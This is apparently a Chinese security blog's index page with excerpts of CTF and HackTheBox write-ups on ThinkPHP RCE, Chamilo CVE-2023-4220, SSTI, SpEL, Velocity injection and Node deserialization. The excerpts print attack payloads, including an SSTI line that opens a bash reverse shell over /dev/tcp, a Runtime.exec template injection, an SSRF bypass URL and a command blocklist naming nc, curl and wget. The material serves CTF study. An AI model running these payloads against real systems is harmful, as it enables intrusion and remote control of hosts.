春秋云镜-Initial
我顶!
春秋云镜-Initial外网开始的时候给了一个ip 直接扫描端口
80端口 上去看看
注意到是title 明显是thinkphp
工具跑一下 发现存在ThinkPHP 5.0.23 RCE
一键getshell之后 蚁剑连接
上传linux-exploit-suggester 到tmp目录下 提权
可以看到sudo 提权
sudo -l 查看
mysql存在sudo权限
注意的是蚁剑的shell是模拟出来的shell 不能直接使用/bin/sh 提权
得到flag1
1flag{60b53231-
查看内网ip
上传 fscan 扫描内网
搭建代理 传递流量出来
172.22.1.18
弱密码admin/admin123 登录
网上翻找有没有payload
12345678910111213141516171819202122232425262728293031323334import requestssession = requests.session()url_pre = 'http://172.22 ...
HTB PERMX
HTB PERMX
逛htb的时候发现有个seasonal挑战 看看又是简单题 我就玩玩
这次我选择使用window 的openvpn链接上那边环境 方便我使用本地的工具啥的
扫到了奇奇怪怪的服务 先访问80端口
域名为http://permx.htb/ 写入hosts文件之后成功访问
没什么东西 好像是静态网页爆破一下子域名
爆破出来一个lms域名
一个cms 上网查到一个cve CVE-2023-4220-Chamilo
直接存在工具 拿来打
成功写入webshell
使用工具反弹shell出来
查看本地ip
当前是wwwdata权限 无权进入mtz 的home
注意到存在/var/www/chamilo/app/config目录
读取到数据库
chamilo 03F6lY3uXAP2bkW8
数据库翻了翻 没找到什么关键信息 猜测数据库和ssh同密码
尝试直接ssh登录 成功登录
尝试提权
注意到存在 /opt/acl.sh 可以给任意用户 任意文件的任意权限
我们可以给与 ...
php代码审计-Thinkphp<5.*
php代码审计-Thinkphp<5.*
自己对于这种大项目的审计能力还是很差 从先从最经典的thinkphp开始学起
Thinkphp2.x远古项目 在vulhub/thinkphp-2.1: 互联网考古,ThinkPHP2.1带示例和文档完整包 (github.com)下载
配置环境的时候切记使用apache 使用nignx会莫名其妙的各种问题
环境 php5.59 thinkphp2.1x
路由分析主要控制路由的文件在ThinkPHP内置的Dispatcher类里面
这个类负责把路由映射到对应的控制器上
调用自己的self::routerCheck()方法 查看当前的路由规则
路由包括好几种 不过都大差不差
123456789101112131415if(0 === stripos($regx.$depr,$route[0].$depr)) { // 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数& ...
2024 春秋杯 wp
2024 春秋杯
花点时间看了点题目 还是很好玩的 最后有点事情出去了 awdp最后一题没看 回头空了看看
初探勒索病毒按照要求复现即可
运行三条命令
123sed -i 's/flags/"flags"/' ./decryptblocks.pyexport SRL_IGNORE_MAGIC=1./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
cp改一下后缀 得到flag
brother一眼ssti注入
随便找一个payload 弹个shell出来看看
1{%for(x)in().__class__.__base__.__subclasses__()%}{%if%27war%27in(x).__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%27bash -c 'bash -i >& /dev/tcp ...
2024 ciscn各赛区决赛复现(未完)
2024 ciscn各赛区决赛复现(未完)
感谢很多师傅 拿到了很多赛区的附件 还好是awdp 能拿到附件
西南赛区ezssti
存在Velocity模板注入,day month 可以控制
注意到mouth存在简单的waf
判断是否为空如果不为空,直接使用Integer.parseInt进行强制类型转换 转换成数字
注意到 day参数没有waf 直接打就行
12#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
flaskweb存在ssti注入
注意到加入的路径 aes解密一次之后直接渲染
aes密钥已经给出
直接一把梭就行
添加路劲即可rce
ssrf2rce满足正则就行
1http://ciscn.asa?@127.0.0.1/flag.php/look
得到lag.php出来 能看到存在如下文件
访问 源 ...
spel表达式注入学习
spel表达式注入spel在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL)
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
使用Bean的ID来引用Bean
可调用方法和访问对象的属性
可对值进行算数、关系和逻辑运算
可使用正则表达式进行匹配
可进行集合操作
spel基础导入依赖
12345678910<dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.21</vers ...
python沙箱栈帧逃逸
python沙箱栈帧逃逸生成器生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。
12345678def f(): b=114 while True: yield b b+=514f=f()print(next(f)) print(next(f))
运行结果如下
运行的时候 b的值是114
运行到yield的时候 会中断
yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。
12345678def f(): b=114 for i in range(10): yield b b+=if=f()for i in f: print(i)
如果不用next函数逐步执行 生成器会直接运行相关的所有值 一次性全部输出
生成器的相关属性123 ...
从 2024CISCN华东南bigfish看CVE-2017-5941
从 2024CISCN华东南决赛bigfish看nodejs反序列化(CVE-2017-5941)
可惜不是联网环境 很简单的cve 简单学习下
赛后拿到附件先着手开始分析
先把相关的依赖全部装上
1npm install
刚刚装好就看到好多漏洞了 不少高危的 拿npm audit审计一下依赖看看
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293PS D:\Desktop\2024-CISCN-华东南-web\Web-bigfish> npm audit# npm audit reportexpress-jwt <=7.7.7 || 8.3.0Severity: highAuthorization bypass in express-jwt - https://g ...
2024 ciscn 华东南赛区决赛 web
期末周终于结束了 也开始有时间做自己喜欢的事情了 先水一篇
2024ciscn 华东南赛区半决赛-web 学习welcome
submit存在两个检验 一个header检验 一个文件内容检验 上传一个变形后门就行
上传链接得到flag
粗心的程序员www.zip存在文件泄露 审计源码
主要问题出现在home.php内
很明显的文件写入 这里可以写入恶意命令到comfig.php内造成命令执行 注意到存在两个可以控制的点
$p和$username
闭合后缀注意到存在//作为注释符号限制了我们的恶意代码 但是注意到confige.php里面不存在?>
可以使用伪造xff 包含?> 绕过限制
构造用户名字为?><?php 绕过对xff的限制 xff写入一句话木马即可
/r截断
但是上面那个我铸币了 比赛的时候没做出来
本来想的是\n 可以绕过 但是发现对str处理了 去掉了\n 于是我就想到了\r这个符号
12\r :将当前位置移到本行开头。又叫回车,对应键盘上的return键\n:将当前位置移到下一行开头。又叫换行,n ...
2024 CISCN WEB 部分wp
2024 CISCN WEB 部分wp
很可惜 差一点点解出ezjava 之后花时间好好研究一下 py的栈帧绕过也是完全没见过 学到了很多新东西
又是被二进制爷带飞的两天
Simple_php12345if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { ...